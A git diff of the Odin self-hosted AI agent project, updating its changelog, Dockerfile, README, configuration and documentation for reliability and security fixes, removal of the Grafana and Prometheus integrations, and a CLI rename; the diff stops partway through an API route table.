diff --git a/CHANGELOG.md b/CHANGELOG.md index 670869510..87bfbf86a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,214 @@ Each GitHub release body is the matching section of this file. ## [Unreleased] +### Fixed + +- Campaign review corrections: successful SSH or executor recovery retries now + report success while retaining uncertainty about earlier dispatches. Emergency + input release clears an `unknown_release` fence when the guardian ledger says + released, with fresh consent still required; native target-continuity loss + remains quarantined. Verified-empty remote process groups report clean exit + or kill with an explicit process-group-only containment caveat, not a blanket + unknown outcome. Unchanged durable legacy PDF imports reuse their basename + source; changed or unverifiable legacy content requires an explicit source + choice because historical imports did not retain originating URLs. Removed + `grafana_alerts` config is silently tolerated, secured HTTP exceptions are + re-raised rather than returned, and overview docs link authoritative inventory + sources instead of stale totals and list all four computer-use handoffs. +- Missing local process handles no longer count as proof that descendants have + exited. Unsettled records retain their host authority and block clean shutdown; + restored read-only evidence does not attempt to terminate an old execution. + A group-empty scan also stays unproven until the leader has been reaped, so a + reap timeout or cancellation cannot publish a premature cleanup verdict. +- Scheduler reservations are revalidated against current identity and pause + state before execution; malformed trigger filters no longer block valid + schedules. Empty trigger subscriptions are rejected. Retry timestamps reflect + the retry, clock-only reminders handle both daylight-saving fall-back + instants, invalid 12-hour values are rejected, and 24-hour clocks may precede + the day text. Workflow conditions run after empty successful output, scheduled + native errors remain failures, deferred host defaults follow each tool's + contract, nested skill inputs are checked against the selected skill schema, + and `update_schedule` exposes workflow condition/failure-policy fields. +- Provider-declared incomplete Codex and Ollama responses are marked incomplete + and failed without discarding partial text or retrying it away; complete long + replies remain unchanged. Empty native Ollama output is an error. DeepSeek + overflow classification applies to production-created clients, schema + sanitization preserves keyword-named parameters, and bounded auxiliary + qualification accepts expected truncated/empty probe responses. Compatible + and Ollama accounting uses response-scoped model/token facts; canonical model + selection reaches covered requests, borrowed auxiliary wrappers survive + reloads, and one settled half-open circuit-breaker probe is admitted at a + time. OpenRouter fallback limits account for every permitted route. +- Codex credential publication uses exclusive private temporary files and + completes partial writes before replacing the destination. Manual login + merges accounts rather than replacing the pool; failed merged writes preserve + existing accounts. Refresh, administration and quota checks are fenced against + account deletion, reordering, re-authentication and reloads. Authentication + failure rotates away from a manually selected account, and displayed account + indexes continue to identify the intended valid record when malformed entries + are present. +- Tool execution preserves outcome uncertainty after ambiguous dispatch, inner + timeouts and later retries; output text cannot forge execution metadata. + Typed tool failures survive native, deferred and validation routes, retry exit + status remains authoritative, `max_retries=0` still makes the initial SSH + attempt, and streaming handles long lines and reaps children when consumers + fail. Validation regexes run with a deadline off the event loop; numeric zero + compares correctly, refused probes are not reported as executed, invalid HTTP + probes acquire no host lease, and truncation/risk metadata tracks delivery and + shared action-aware classification. +- Skills persist activation before publication; editing disabled skills keeps + them disabled, and edit/delete operations target the loaded artifact. + Requirements honor installed versions and extras, accept valid compound PEP + 508 constraints and reject unsafe forms. Skill host commands and selected + skill invocation pass inherited admission and current-scope checks; validation + uses requester tier and effective host. `systemctl` global options no longer + hide lifecycle verbs from risk classification. Unsupported generic + `SkillContext` calls are refused, its helper documentation distinguishes + synchronous from asynchronous methods, and authorized retained results keep + the complete output. +- Scoped memory reads and deletes honor explicit personal/global scope while + omitted scope retains its previous behavior. Empty compaction uses a + deterministic nonempty fallback; history eligibility is applied before + result limits, and cross-channel fallback selects globally newest eligible + records. API execution sessions remain ephemeral, owned scoped searches are + available to their owner, and foreign scopes are rejected. PDF imports use URL + identity by default; knowledge summaries compare authoritative snapshots, + duplicate identifiers remain lossless, rolling summaries are recognized by + APIs and metrics, cold embedding initialization leaves the event loop + responsive, and hybrid fusion keeps the best-ranked payload. +- Learned entries with matching keys remain isolated by owner; edits and use + extend expiry. Audit search/statistics and failure aggregates include retained + rotations with stable coverage metadata, complete captured files and correctly + framed diffs. Prompt totals include learned context. Prefix metrics identify + unmeasured values instead of claiming upstream cache hits. Startup diagnostics + validate knowledge database integrity and recognize static and dynamic API + credentials without disclosure; tokenless HTTP readiness no longer depends + on an unconfigured Discord gateway. Usage ingestion releases its lock after + database-open failures, and resource counts use the configured session path. +- Computer recovery preserves incident lineage through emergency release, + validates and archives qualified absence evidence, and reconciles only owned + private evidence orphans. Clean resume publishes current recovery authority; + status exposes bounded native recovery guidance without private handles. + Expired inventory proofs and settled terminal caches are retired safely. + Proven pre-input refusals restore eligible observations without weakening + held-input or unknown-release fences, and isolated X11 preflight requires + privilege only when configured to use it. +- Background process admission includes pending starts and unresolved owned + executions. Process lifetimes bind exact generations; persistence failures + trigger cleanup without abandoning lifecycle ownership, local leader exit is + not completion until descendants settle, and remote cleanup failures remain + explicitly unknown. Verified-empty remote process groups settle with a + process-group-only caveat, not a claim that escaped descendants ended. + Completed remote evidence retains its bounded retrieval deadline even when + execution cleanup remains unknown. Explicit local termination claims success + only after owned cleanup is proved. Remote stdin reports accepted bytes after + partial writes, and cancelled SSH master + closure retains its ownership handle for retry. Host-key mismatch quarantine + survives unrelated inventory publication, host management publication is + serialized, and CA enrollment verifies signing authorities and endpoint + principals. `apply_patch` preserves untouched text boundaries, rejects + nonregular files without blocking on FIFO open, and closes snapshots on + semantic rejection. +- HTTP browser sessions are bound to credential origin and generation, expire + when the originating credential is revoked or rotated, and lose anonymous + development authority when authentication is enabled. Invalid static token + tiers are refused rather than treated as administrator. Supported WebSocket + authentication carriers use consistent credential precedence, login handles + malformed JSON shapes, security headers cover raised HTTP responses, expired + sessions are retired, and reconnecting WebSockets remain subject to chat rate + limits. Process termination reports acknowledged outcomes. Failed self-update + paths restore operator files. Observed WebSocket credential revocation is + terminal for that transport, even if an old credential is later restored; + schema-aliased mapping fields survive partial configuration saves and reload. +- Autonomous loop failures count toward the configured consecutive-failure + limit; terminal findings and natural completion timing are preserved. Outbound + per-target admission is serialized and first events work on young hosts. + Scheduled digest fallback stays within message limits, resume selects the + requester's own preserved work, and buffered intake retains attachments. + Authorized retrieval preserves complete truncated text/PDF evidence while + retaining existing ownership, channel, quota and expiry fences. Generated + images reject incomplete PNGs and report upload failures as failures. +- Incus deployment syntax and required UI assets, wheel model-hint data, CLI + failure exit codes, browser dependencies in official install paths, and the + Debian SSH-key default and safe default-only upgrades are corrected. Browser + runtimes are provisioned and qualified without enabling new capabilities; + custom SSH keys remain untouched. Compose now supports atomic config + persistence and safely migrates an existing single-file config without + overwriting a newer directory config, preserving setup state and listener + consent during relocation. Portable `odin-server` and `odin-client` commands + are provided for every package type with documented migration guidance; + `odin` now runs the API client consistently on every install type and the + server uses `odin-server`. Old server-style `odin` invocations with a config + file, `-c`, `--config` or `--env-file` refuse to send a prompt, explain the + new server command, and exit nonzero. Existing Python/source server scripts + and units must switch to `odin-server`; Debian client usage is unchanged. +- Configuration migrations no longer require an adjacent write for no-op + completion, and ceiling migration preserves a newer acknowledged edit. + Retired Codex model migration now covers canonical agent selectors, + allowlists and hints. Existing legacy model/effort pairs continue to load with + a warning when invalid; saves validate the effective canonical selector. + Partial config saves update submitted leaves only; deleting a mapping entry + requires the explicit `{ "$delete": true }` marker, while JSON `null` remains + a value. Provider enable routes parse booleans correctly. Nonpositive tool + timeouts and negative archive caps are rejected on save and tolerated at + startup with warnings and safe defaults; explicit zero archive retention + still means retain nothing. Legacy Kimi timeout adaptation is bounded, and + legacy configs with an absent provider keep their selected main model. +- The WebUI coalesces model-save intent, fences stale provider/MCP/operational + page requests, keeps Discord identity fields consistent, and supports native + keyboard activation of user selection. Skill source highlighting preserves + original text. Paused Live Tail retains at most 2,000 raw records and reports + drops; relative-time filters advance only while active. Live Tail uses bounded + RE2 syntax, with unsupported lookaround/backreferences reported rather than + silently accepted. Trace filtering precedes result limits, schedule forms can + submit workflow steps, and missed terminal events become explicitly unknown + history rather than fabricated running or successful results. Stream + correlation uses unique backend registry IDs and full invocation attribution. +- Agent repetition detection hashes the full canonical scrubbed evidence before + delivery, so changing envelope IDs, cursors or previews cannot bypass the + guard. Cancellation before an agent coroutine starts is durably settled as a + killed trajectory. The default Codex agent catalog honors authored model + selection hints. +- Tool catalogs now hide browser and knowledge tools when their backends are + disabled; email visibility follows executor-effective startup configuration, + and dynamic computer tools participate in built-in disablement. MCP discovery + isolates invalid header schemas to the affected tool, rejects terminal + newlines in header values, and preserves structured results without repeating + equivalent JSON summaries. SMTP acceptance is retained across QUIT cleanup + failures, failed IMAP searches are not reported as empty results, and image + validation decodes complete PNG data under size limits before delivery. +- Removed native monitoring references were audited through current source, + tests and documentation tooling; generated API references remain to be + regenerated after campaign integration. Generic internal resource/token/pool + metrics and `/api/pools` remain; no native Prometheus formatter or endpoint is + implied by this removal. + +### Changed + +- Documentation now describes setup-wizard restart behavior, supported + WebSocket authentication, managed Hyprland first use, current provider/model + capabilities, Codex refresh behavior, tool/loop iteration limits and retired + model migration accurately. Stale inventory counts and removed monitoring + claims were removed. +- SMTP and IMAP verify server certificates and hostnames by default; operators + using self-signed mail servers must explicitly opt out. Accepted email is not + misreported if QUIT cleanup fails, and IMAP search failures are not treated as + proof of message absence. +- The WebUI prevents stale responses from replacing newer selections and + operational state; live-tail retention/filtering is bounded, trace filtering + precedes result limits, schedule forms submit workflow steps, and execution + call correlation uses complete invocation identity. Host CA enrollment UI + identifies the expected fingerprint as the signing CA fingerprint. + +### Removed +- Removed native Grafana alert receiving, remediation, management routes and + scheduler trigger publication, the unauthenticated Prometheus `/metrics` + endpoint and its exporters, and `SkillContext.query_prometheus`. Existing + configuration keys are tolerated and ignored; component checks remain on + `/health`. Legacy removed-source schedules remain readable but inert. + External operator-configured MCP integrations are unchanged. There was no + native Loki integration to remove. + ## [4.10.0] - 2026-09-29 ### Added diff --git a/Dockerfile b/Dockerfile index 645e8de1c..811ea1364 100644 --- a/Dockerfile +++ b/Dockerfile @@ -2,15 +2,19 @@ FROM python:3.12-slim WORKDIR /app -# Install dependencies first for better layer caching +# Include source in the distribution so console entrypoints work outside /app. COPY pyproject.toml . +COPY src/ src/ # .[pdf] — analyze_pdf needs PyMuPDF; without it the catalog gate hides the # tool, so an official image would ship without a capability it advertises. -RUN pip install --no-cache-dir ".[pdf]" +RUN pip install --no-cache-dir ".[pdf,browser]" +ENV PLAYWRIGHT_BROWSERS_PATH=/app/.cache/ms-playwright +COPY scripts/install-browser-runtime.sh /app/install-browser-runtime.sh +RUN sh /app/install-browser-runtime.sh python --with-deps # Copy application source -COPY src/ src/ COPY ui/ ui/ +COPY scripts/docker-compose-entrypoint.sh /app/docker-compose-entrypoint.sh # Working directory for local user commands (tools.local_working_dir). # Deliberately OUTSIDE the install root (/app here) and outside the data dir: diff --git a/README.md b/README.md index 6e8653d2d..afddc9ab0 100644 --- a/README.md +++ b/README.md @@ -28,11 +28,11 @@ It is built for people who run real infrastructure and want an agent that **exec | | | |---|---| -| **67 built-in tools** | shell and SSH, files and patches, background processes, browser automation, web, scheduling, sub-agents, knowledge base, and memory | -| **Three model backends** | OpenAI Codex over a ChatGPT subscription (GPT-6 and GPT-5.x, multi-account), Kimi, or local Ollama — switch at runtime | -| **Management WebUI** | live execution viewer, agents, loops, processes, schedules, audit, sessions, usage, tools, skills, knowledge, hosts, config, turn state — 211 REST routes behind it | +| **Built-in tools** | shell and SSH, files and patches, background processes, browser automation, web, scheduling, sub-agents, knowledge base, and memory | +| **Model providers** | OpenAI Codex over a ChatGPT subscription, OpenAI-compatible endpoints (including Kimi and compatible hosted or self-hosted services), or Ollama — switch at runtime | +| **Management WebUI** | live execution viewer, agents, loops, processes, schedules, audit, sessions, usage, tools, skills, knowledge, hosts, config, and turn state; routes and tools are defined by the shipped registries | | **Bounded autonomy** | iteration, lifetime, and nesting limits; durable turn state that survives model-capacity outages without replaying side effects | -| **Tested** | 11,712 tests across 346 files, characterization pins on the tool catalog, API routes, and tool loop | +| **Tested** | Regression tests exercise the shipped tool catalog, API routes, and tool loop | ## What it looks like @@ -111,7 +111,7 @@ The package also grants the `odin` service account passwordless sudo; restrict ` - Create, edit, enable, disable, import, export, and invoke Python skills at runtime. - Configure skills with JSON schemas, dependencies, and operator-managed settings. -- Integrate external systems through webhooks, email, MCP servers, Grafana alerts, and custom skill code. +- Integrate external systems through webhooks, email, MCP servers, and custom skill code. ### Management interface @@ -125,7 +125,7 @@ The web interface provides grouped views for: affecting deliberate memory); - health, resources, logs, configuration, permissions, host access, and updates. -The API exposes 211 REST routes (pinned in order by a characterization test) plus health, metrics, webhook, WebSocket, and static-interface routes. +The API exposes REST routes plus health, webhook, WebSocket, and static-interface routes. The authoritative route characterization test and generated API reference track the shipped inventory. The static built-in tool catalog is distinct from dynamically configured tools, including computer-use tools. Packaged computer-use operator handoffs are listed in `packaging/nfpm.yml`. ## Execution model @@ -133,7 +133,7 @@ The API exposes 211 REST routes (pinned in order by a characterization test) plu flowchart TD A["Discord · Web API · CLI"] --> B["Request admission & identity
channel / user / mention / bot / permission policy"] B --> C["Context assembly
session history · context files · memory · tools for this requester"] - C --> D["LLM provider
Codex (GPT-6 / GPT-5.x) · Kimi · Ollama"] + C --> D["LLM provider
Codex · OpenAI-compatible endpoints · Ollama"] D --> E{"Tool loop"} E -->|built-in tools| F["Managed hosts & services
shell · SSH · files · processes · browser · web"] E -->|native handlers| G["Discord, agents, schedules, loops"] @@ -154,19 +154,19 @@ For a normal Discord request: 6. After a recognized mutation, the tool loop asks the model to run `validate_action` before the final response, retrying the request a bounded number of times; it does not hold finalization indefinitely. 7. The final response and turn trajectory are persisted and delivered to Discord or the API caller. -Odin supports three model backends: +Odin supports Codex, OpenAI-compatible providers, and Ollama: | Provider | Authentication | Notes | |---|---|---| | OpenAI Codex | OAuth device or browser flow | Primary provider path; supports account rotation and separate spawned-agent model settings | -| Kimi | Moonshot API key | Alternative hosted provider | +| OpenAI-compatible endpoints | Provider-specific credentials | Presets include hosted providers such as DeepSeek and OpenRouter; compatible local endpoints include vLLM, llama.cpp, and LM Studio. See [compatible-provider configuration](docs/configuration.md#agents). Kimi is also available through this compatible lane. | | Ollama | Local or remote endpoint; optional bearer token | Self-hosted provider path | The provider can be changed through configuration or the web interface. The Codex Advanced panel uses an explicit save action. Codex connection-pool and context-compression changes are saved immediately but require an Odin restart. Provider support does not imply that every model has equivalent tool-calling behavior or context limits. ## Built-in tools -The current release registers 67 built-in tools, 20 of them core tools. The registry is assembled from ordered definition modules under `src/tools/defs/`; tests pin the catalog order and prevent duplicate names. +The current release's static built-in tool registry is assembled from ordered definition modules under `src/tools/defs/`; characterization tests pin the catalog order and prevent duplicate names. Runtime visibility can additionally include configured dynamic tools. | Area | Tools | |---|---| @@ -268,7 +268,7 @@ For supervised use on your own screen, start with the [operator guide](docs/computer-use/OPERATOR.md) and [recovery guide](docs/computer-use/RECOVERY.md). The R11 general attached-app/action and compositor expansion is an implementation contract pending its own validation, -not a new qualification claim. Only the three operator handoffs ship in the package; +not a new qualification claim. The operator handoffs listed in `packaging/nfpm.yml` ship in the package; engineering history stays in the repository. Remote worker transport is assessment only and is not implemented. @@ -354,10 +354,12 @@ policy, and `tools.default_host` is the explicit fallback for omitted-host system work; mapping order is never treated as policy. The Codex model selectors include `gpt-6-astra`, `gpt-6.1-sol`, `gpt-6-sol`, and `gpt-6-luna` -for entitled accounts, followed by the 5.6 family. Sol and Luna accept all six -reasoning efforts (`none` through `max`) and have measured input-budget floors -of 921,799 tokens. Astra accepts `low` through `max` reasoning effort but rejects -`none`; Odin validates that pair for main, fixed-agent, and per-spawn settings. +for entitled accounts, followed by the 5.6 family. GPT-6 Sol and Luna accept +all six reasoning efforts (`none` through `max`) and have measured input-budget +floors of 921,799 tokens. GPT-6.1 Sol accepts `low` through `max`, rejects +`none`, and has a measured floor of 921,849 tokens; Astra also rejects `none`. +Odin validates incompatible model/effort pairs where model settings enter the +system. Remote `manage_process` jobs are supervised on the target with a one-hour deadline. Odin shutdown/restart attempts to terminate every tracked remote job; @@ -453,4 +455,9 @@ docs/ configuration, security, skills, and engineering plans ## License +For terminal automation, `odin` is the API client on every installation; +`odin-client` is an explicit alias. Use `odin-server` to start the service. +Old server-style client invocations are refused without sending a prompt. +See [CLI commands and migration](docs/cli.md). + [MIT](LICENSE) diff --git a/config.yml b/config.yml index 5fae3395b..bdbbffc40 100644 --- a/config.yml +++ b/config.yml @@ -163,7 +163,6 @@ webhook: secret: '' channel_id: '' gitea_channel_id: '' - grafana_channel_id: '' github_channel_id: '' gitlab_channel_id: '' @@ -322,13 +321,6 @@ web: # --- Optional integrations (uncomment and configure to enable) --- -# # Grafana alert auto-remediation -# grafana_alerts: -# auto_remediate: false -# rules: [] -# cooldown_seconds: 300 -# max_concurrent_remediations: 5 - # # Outbound webhooks — notify external services on events # outbound_webhooks: # enabled: false diff --git a/coverage-baseline.json b/coverage-baseline.json index 4d60064b4..b09f55a77 100644 --- a/coverage-baseline.json +++ b/coverage-baseline.json @@ -881,18 +881,6 @@ "percent": 100.0, "statements": 280 }, - "src/health/grafana_alerts.py": { - "covered": 236, - "missing": 0, - "percent": 100.0, - "statements": 236 - }, - "src/health/metrics.py": { - "covered": 193, - "missing": 18, - "percent": 91.47, - "statements": 211 - }, "src/health/server.py": { "covered": 795, "missing": 117, diff --git a/docker-compose.yml b/docker-compose.yml index 35d6d404c..c6afd7062 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -8,6 +8,7 @@ services: - TZ=${TZ:-UTC} - OLLAMA_URL=${OLLAMA_URL:-http://host.docker.internal:11434} volumes: + - ./config:/app/config - ./config.yml:/app/config.yml:ro - ./data:/app/data # NAMED volume, not a bind mount: Docker initializes a named volume from @@ -23,6 +24,9 @@ services: - "127.0.0.1:3939:3000" networks: - default + # Existing deployments keep their old config.yml bind until the entrypoint + # copies it once into the writable directory mount. Never overwrite there. + command: ["sh", "/app/docker-compose-entrypoint.sh"] odin-browser: image: ghcr.io/browserless/chromium @@ -43,26 +47,6 @@ services: networks: - default - odin-voice: - build: ./voice-service - container_name: odin-voice - restart: unless-stopped - profiles: - - voice - volumes: - - ./voice-service/config.yml:/app/config.yml:ro - - ./voice-service/voices:/app/voices - - ./voice-service/models:/app/models - deploy: - resources: - reservations: - devices: - - driver: nvidia - count: 1 - capabilities: [gpu] - networks: - - default - volumes: # Local command workspace (tools.local_working_dir). Initialized from the # image's 0700 directory so a fresh deployment satisfies the resolver. diff --git a/docs/cli.md b/docs/cli.md new file mode 100644 index 000000000..3a2764b4e --- /dev/null +++ b/docs/cli.md @@ -0,0 +1,33 @@ +# Server and API-client commands + +`odin` is the **API client on every install type**, including Python wheels, +editable/source installs and Debian. `odin-client` is an explicit client alias. +Use these command roles on every supported installation: + +- `odin-server [config-file]` starts the Odin server. It does not send a prompt + to an already running instance. Debian's wrapper selects the installation + working directory; Python console scripts use the configured startup paths. +- `odin-client "check disk usage"` sends a prompt to the HTTP execution API. + The default URL is `http://localhost:3000`; set `ODIN_URL` or `--url` for a + different listener. Authentication uses `ODIN_API_TOKEN` or `--token`. + Prefer the environment variable so credentials are not placed in shell + history or process arguments. `--json` emits the response object and still + exits nonzero when execution fails. Standard input may supply the prompt. + +The names are installed by Python wheels/editable installs and Debian. +Their roles do not depend on how Odin was installed. + +## Safe upgrade from the legacy `odin` command + +Previously Python/source installs used `odin` for the server. Update service +definitions, shell aliases and server automation to `odin-server`. +An old server invocation through `odin`, including a config-file argument or +`-c`, `--config` or `--env-file`, is refused with a nonzero exit and a message +that the server command is now `odin-server`; **no prompt is sent**. Config-file +arguments include existing files and single path-shaped `.yml`/`.yaml` names. +A normal prose prompt mentioning a YAML filename is not a config argument. +The project never starts the server using its API-client command, and does not +silently rewrite operator-owned scripts or units. + +`python -m src` remains an explicit server invocation. `--help` for either +explicit command is local and does not contact a running instance. diff --git a/docs/computer-use/HYPRLAND-OPERATOR-R32.md b/docs/computer-use/HYPRLAND-OPERATOR-R32.md index e8f4b82ee..e78d5fbf5 100644 --- a/docs/computer-use/HYPRLAND-OPERATOR-R32.md +++ b/docs/computer-use/HYPRLAND-OPERATOR-R32.md @@ -263,9 +263,14 @@ Replaying an action ID returns the receipt only, never new input or new pixels. Set the explicit target fields above in the **installed runtime's configuration** before qualification and use its supported config-protected restart flow. With no `computer` section the existing default is still disabled isolated X11; a -successful separately configured driver does not configure normal turns. Neither -session start nor turn dispatch discovers an ambient target, loads a plugin, -changes compositor settings or falls back to a different desktop. +successful separately configured driver does not configure normal turns. For a +configured native Hyprland route, first inventory or session start may discover +the approved compositor identity and managed activation may load the approved +plugin when the default managed-activation setting is enabled. Discovery and +plugin activation are bounded by the configured/approved target and build +identity; they do not grant task consent, select an ambient desktop, or authorize +fault injection. Explicit manual-mode opt-outs remain manual. Odin does not +change compositor configuration or fall back to a different desktop. Backend identity is retained even if native startup fails. A clean failed startup releases the singleton; missing acknowledgement remains quarantined and retains diff --git a/docs/computer-use/README.md b/docs/computer-use/README.md index 53918840f..91424af23 100644 --- a/docs/computer-use/README.md +++ b/docs/computer-use/README.md @@ -1,7 +1,11 @@ # Computer-use documentation -Start with [OPERATOR.md](OPERATOR.md), [PACKAGING.md](PACKAGING.md) and -[RECOVERY.md](RECOVERY.md). These three files are the explicit installed handoff. +The explicit installed handoff consists of the operator, packaging and recovery +guides, plus the platform-specific Hyprland operator guide. The authoritative +handoff list is maintained in [`packaging/nfpm.yml`](../../packaging/nfpm.yml): +[OPERATOR.md](OPERATOR.md), [PACKAGING.md](PACKAGING.md), +[RECOVERY.md](RECOVERY.md) and +[HYPRLAND-OPERATOR-R32.md](HYPRLAND-OPERATOR-R32.md). All other documents here are repository-only engineering records. R1 through R10 reports describe dated fixtures, decisions and limitations. Old app allowlists, diff --git a/docs/configuration.md b/docs/configuration.md index f72a295bf..5e7c352d7 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -32,10 +32,15 @@ tools: address: 203.0.113.10 ssh_user: deploy os: linux - max_tool_iterations_chat: 30 # Tool calls per Discord message - max_tool_iterations_loop: 100 # Tool calls per autonomous loop + max_tool_iterations_chat: 30 # Model/tool-batch iterations in one Discord message + max_tool_iterations_loop: 100 # Model/tool-batch iterations per autonomous loop cycle ``` +These caps count model/tool-batch iterations, not individual tool calls: one +iteration can dispatch a batch containing multiple tool calls. The loop cap is +per autonomous loop cycle, not the loop's lifetime; `start_loop.max_iterations` +is the separate total-cycle limit. + ### SSH Configuration ```yaml @@ -135,13 +140,13 @@ installs' model selections. Reasoning effort `max` is served by both families. GPT-6 Sol and Luna accept all six efforts (`none`, `low`, `medium`, `high`, `xhigh`, `max`) and each has a measured input-budget floor of 921,799 tokens (2026-09-22). -GPT-6 Astra rejects `none`. -GPT-6.1 Sol accepts `low`, `medium`, `high`, `xhigh`, and `max`, rejects -`none`, and has a measured input-budget floor of 921,849 tokens (2026-09-29). +GPT-6 Astra rejects `none`. GPT-6.1 Sol accepts `low`, `medium`, `high`, +`xhigh`, and `max`, rejects `none`, and has a measured input-budget floor of +921,849 tokens (2026-09-29). The retired `gpt-5.5` is no longer selectable. On configuration-file load, explicit main, fixed-agent, and auxiliary selections migrate in memory to -`gpt-5.6-terra`, with a warning. Existing effort selections are preserved. +`gpt-6-sol`, with a warning. Existing effort selections are preserved. Its context-budget overrides are discarded rather than transferred to a different model; any existing Terra override remains unchanged. YAML and environment placeholders are not rewritten. Live configuration updates and @@ -167,7 +172,11 @@ the Web UI (Auxiliary Model dropdown, "Off" to run those jobs on the primary). Generate credentials: `python3 scripts/codex_login.py` -Tokens expire weekly — re-run the script and copy `data/codex_auth.json` to the deployment. +Codex access tokens are refreshed automatically when needed, with refresh +serialized per account and refreshed credentials persisted. Re-run the login +flow only when refresh or authorization fails and Odin reports that the account +needs reauthorization; do not schedule periodic credential replacement. No +fixed refresh-token lifetime is promised here. ## Agents @@ -315,7 +324,7 @@ Runtime overrides persist in `data/permissions.json` and take precedence. | Tier | Access | |------|--------| -| admin | All 67 built-in tools | +| admin | All enabled built-in tools | | user | Eleven tools: get_tool_output, search_history, search_knowledge, web_search, fetch_url, list_schedules, list_tasks, list_skills, list_knowledge, manage_list, parse_time (no shell; manage_list can change list state) | | guest | Conversation only, no tools | @@ -371,10 +380,12 @@ The WebUI self-updater (Updates page) requires a **git-clone install** — `.deb` installs have no repository and should upgrade via `apt` instead (the endpoint answers 409 with the same hint). -After a successful update — and after the first-boot setup wizard saves its -config — Odin restarts **in place** by re-executing itself once graceful -shutdown completes. Recovery therefore does not depend on the service -unit's `Restart=` policy, Docker restart policy, or any supervisor at all. +After a successful update, Odin restarts **in place** by re-executing itself +once graceful shutdown completes. The first-boot setup wizard does not schedule +or perform that re-exec: it saves settings and reports when an operator restart +is required. Startup-owned settings may remain unapplied until that restart. +Update recovery therefore does not depend on the service unit's `Restart=` +policy, Docker restart policy, or any supervisor at all. `Restart=always` (what the packaged unit ships) is still recommended so the service also recovers from crashes and reboots. diff --git a/docs/index.md b/docs/index.md index 8ed116231..79300a618 100644 --- a/docs/index.md +++ b/docs/index.md @@ -23,7 +23,7 @@ hero: features: - icon: ⌘ - title: 67 built-in tools + title: Static built-in tool catalog details: Shell and SSH on registered hosts, context-checked patches, background processes, browser automation, web, scheduling, knowledge, memory, and sub-agents. link: /reference/tools linkText: Tool reference @@ -39,7 +39,7 @@ features: linkText: Configuration - icon: ☰ title: Management WebUI - details: Live execution viewer, agents, processes, schedules, audit, sessions, usage, hosts, config, turn state — 211 REST routes behind it. + details: Live execution viewer, agents, processes, schedules, audit, sessions, usage, hosts, config, and turn state. The API reference tracks the shipped route registrations. link: /reference/api linkText: API reference - icon: ⊘ @@ -55,11 +55,10 @@ features: ---
-
74built-in tools · 23 core
-
211REST routes, order-pinned
-
11,712tests · 346 files
-
3model backends
-
MITlicense · Debian package
+
CatalogGenerated from the built-in tool registry
+
APIGenerated from shipped route registrations
+
TestsRegression-tested against the code and shipped package definitions
+
MITLicense · Debian package
diff --git a/docs/reference/api.md b/docs/reference/api.md index 7b574cd8b..3ebf80027 100644 --- a/docs/reference/api.md +++ b/docs/reference/api.md @@ -4,7 +4,7 @@ Source commit: `e1318eca83a40b9418d873ad85c31686ea6b57d0`. Generated by `scripts/docs/generate_api_reference.py`; do not edit by hand. -The **237 REST registrations** below follow [`create_api_routes`](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/__init__.py) in exact order, using the same route-table mechanism as the [parity test](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/tests/characterization/test_api_route_parity.py). Order matters for overlapping literal and parameter paths. Implicit aiohttp HEAD routes are not counted separately; GET registrations also accept HEAD. Purpose is the first handler-docstring line; **—** means the handler has no docstring, not a guessed description. +The **231 REST registrations** below follow [`create_api_routes`](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/__init__.py) in exact order, using the same route-table mechanism as the [parity test](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/tests/characterization/test_api_route_parity.py). Order matters for overlapping literal and parameter paths. Implicit aiohttp HEAD routes are not counted separately; GET registrations also accept HEAD. Purpose is the first handler-docstring line; **—** means the handler has no docstring, not a guessed description. ## Authentication and authorization @@ -17,76 +17,76 @@ This describes the normal authenticated deployment. With no configured tokens (i | Method | Path | Owning module / handler source | Admin-gated | Purpose | | --- | --- | --- | --- | --- | | POST | /api/auth/login | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L636) | No | — | -| POST | /api/auth/logout | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L750) | No | — | -| GET | /api/auth/session | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L772) | No | — | -| GET | /api/setup/status | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L194) | Yes | Check whether first-boot setup is needed. | -| POST | /api/setup/complete | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L211) | Yes | Receive wizard data and report restart-required settings, without restarting. | -| POST | /api/setup/listener | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L348) | Yes | Reauthenticate a raw admin bearer and consent to web.host on next restart. | -| GET | /api/status | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L420) | Yes | — | -| GET | /api/discord/guilds | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L487) | Yes | — | -| GET | /api/discord/members | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L534) | Yes | — | -| PUT | /api/discord/guild/{guild_id}/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L551) | Yes | — | -| PUT | /api/discord/channel/{channel_id}/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L566) | Yes | — | -| GET | /api/health/components | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L582) | Yes | — | -| GET | /api/resource-usage | 